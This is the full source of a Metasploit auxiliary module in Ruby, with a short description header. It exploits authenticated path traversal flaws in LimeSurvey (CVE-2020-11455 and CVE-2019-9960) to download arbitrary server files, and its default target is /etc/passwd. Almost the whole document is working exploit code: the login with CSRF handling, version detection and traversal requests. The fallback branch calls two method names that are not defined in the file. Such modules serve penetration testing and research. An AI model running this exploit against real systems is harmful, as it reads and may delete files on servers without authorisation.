This Metasploit module exploits an authenticated path traversal vulnerability found in LimeSurvey versions between 4.0 and 4.1.11 with CVE-2020-11455 or less than or equal to 3.15.9 with CVE-2019-9960, inclusive. In CVE-2020-11455 the getZipFile function within the filemanager functionality allows for arbitrary file download. The file retrieved may be deleted after viewing, which was confirmed in testing. In CVE-2019-9960 the szip function within the downloadZip functionality allows for arbitrary file download. Verified against 4.1.11-200316, 3.15.0-181008, 3.9.0-180604, 3.6.0-180328, 3.0.0-171222, and 2.70.0-170921.
9f74526757273c5edcea64339d62718ea0a109843590d25d98a39b5da99e5413
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'LimeSurvey Zip Path Traversals',
'Description' => %q{
This module exploits an authenticated path traversal vulnerability found in LimeSurvey
versions between 4.0 and 4.1.11 with CVE-2020-11455 or <= 3.15.9 with CVE-2019-9960,
inclusive.
In CVE-2020-11455 the getZipFile function within the filemanager functionality
allows for arbitrary file download. The file retrieved may be deleted after viewing,
which was confirmed in testing.
In CVE-2019-9960 the szip function within the downloadZip functionality allows
for arbitrary file download.
Verified against 4.1.11-200316, 3.15.0-181008, 3.9.0-180604, 3.6.0-180328,
3.0.0-171222, and 2.70.0-170921.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Matthew Aberegg', # edb/discovery cve 2020
'Michael Burkey', # edb/discovery cve 2020
'Federico Fernandez', # cve 2019
'Alejandro Parodi' # credited in cve 2019 writeup
],
'References' => [
# CVE-2020-11455
['EDB', '48297'], # CVE-2020-11455
['CVE', '2020-11455'],
['URL', 'https://github.com/LimeSurvey/LimeSurvey/commit/daf50ebb16574badfb7ae0b8526ddc5871378f1b'],
# CVE-2019-9960
['CVE', '2019-9960'],
['URL', 'https://www.secsignal.org/en/news/cve-2019-9960-arbitrary-file-download-in-limesurvey/'],
['URL', 'https://github.com/LimeSurvey/LimeSurvey/commit/1ed10d3c423187712b8f6a8cb2bc9d5cc3b2deb8']
],
'DisclosureDate' => '2020-04-02',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]),
OptString.new('TARGETURI', [true, 'The base path to the LimeSurvey installation', '/']),
OptString.new('FILE', [true, 'The file to retrieve', '/etc/passwd']),
OptString.new('USERNAME', [true, 'LimeSurvey Username', 'admin']),
OptString.new('PASSWORD', [true, 'LimeSurvey Password', 'password'])
]
)
end
def uri
target_uri.path
end
def cve_2020_11455(cookie, ip)
vprint_status('Attempting to retrieve file')
print_error 'This method will possibly delete the file retrieved!!!'
traversal = '../' * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'filemanager', 'sa', 'getZipFile'),
'cookie' => cookie,
'vars_get' => {
'path' => "#{traversal}#{datastore['FILE']}"
}
})
if res && res.code == 200 && !res.body.empty?
loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
print_good("File stored to: #{loot}")
else
print_bad('File not found or server not vulnerable')
end
end
def cve_2019_9960_version_3(cookie, ip)
vprint_status('Attempting to retrieve file')
traversal = '../' * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'export', 'sa', 'downloadZip'),
'cookie' => cookie,
'vars_get' => {
'sZip' => "#{traversal}#{datastore['FILE']}"
}
})
if res && res.code == 200 && !res.body.empty?
loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
print_good("File stored to: #{loot}")
else
print_bad('File not found or server not vulnerable')
end
end
# untested because I couldn't find when this applies. It is pre 2.7 definitely, but unsure when.
# this URL scheme was noted in the secsignal write-up
def cve_2019_9960_pre25(cookie, ip)
vprint_status('Attempting to retrieve file')
traversal = '../' * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookie,
'vars_get' => {
'sZip' => "#{traversal}#{datastore['FILE']}",
'r' => 'admin/export/sa/downloadZip'
}
})
if res && res.code == 200 && !res.body.empty?
loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
print_good("File stored to: #{loot}")
else
print_bad('File not found or server not vulnerable')
end
end
def login
# get csrf
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login')
})
cookie = res.get_cookies
fail_with(Failure::NoAccess, 'No response from server') unless res
# this regex is version 4+ compliant, will fail on earlier versions which aren't vulnerable anyways.
/"csrfTokenName":"(?<csrf_name>\w+)"/i =~ res.body
/"csrfToken":"(?<csrf_value>[\w=-]+)"/i =~ res.body
csrf_name = 'YII_CSRF_TOKEN' if csrf_name.blank? # default value
fail_with(Failure::NoAccess, 'Unable to get CSRF values, check URI and server parameters.') if csrf_value.blank?
vprint_status("CSRF: #{csrf_name} => #{csrf_value}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login'),
'cookie' => cookie,
'vars_post' => {
csrf_name => csrf_value,
'authMethod' => 'Authdb',
'user' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginlang' => 'default',
'action' => 'login',
'width' => '100',
'login_submit' => 'login'
}
})
if res && res.code == 302 && res.headers['Location'].include?('login') # good login goes to location admin/index not admin/authentication/sa/login
fail_with(Failure::NoAccess, 'No response from server')
end
vprint_good('Login Successful')
res.get_cookies
end
def determine_version(cookie)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'index'),
'cookie' => cookie
})
fail_with(Failure::NoAccess, 'No response from server') unless res
/Version\s+(?<version>\d\.\d{1,2}\.\d{1,2})/ =~ res.body
return nil unless version
Rex::Version.new(version)
end
def run_host(ip)
cookie = login
version = determine_version cookie
if version.nil?
# try them all!!!
print_status('Unable to determine version, trying all exploits')
cve_2020_11455 cookie, ip
cve_2019_9960_3_15_9 cookie, ip
cve_2019_9960_pre3_15_9 cookie, ip
end
vprint_status "Version Detected: #{version.version}"
if version.between?(Rex::Version.new('4.0'), Rex::Version.new('4.1.11'))
cve_2020_11455 cookie, ip
elsif version.between?(Rex::Version.new('2.50.0'), Rex::Version.new('3.15.9'))
cve_2019_9960_version_3 cookie, ip
# 2.50 is when LimeSurvey started doing almost daily releases. This version was
# picked arbitrarily as I can't seem to find a lower bounds on when this other
# method may be needed.
elsif version < Rex::Version.new('2.50.0')
cve_2019_9960_pre25 cookie, ip
else
print_bad "No exploit for version #{version.version}"
end
end
end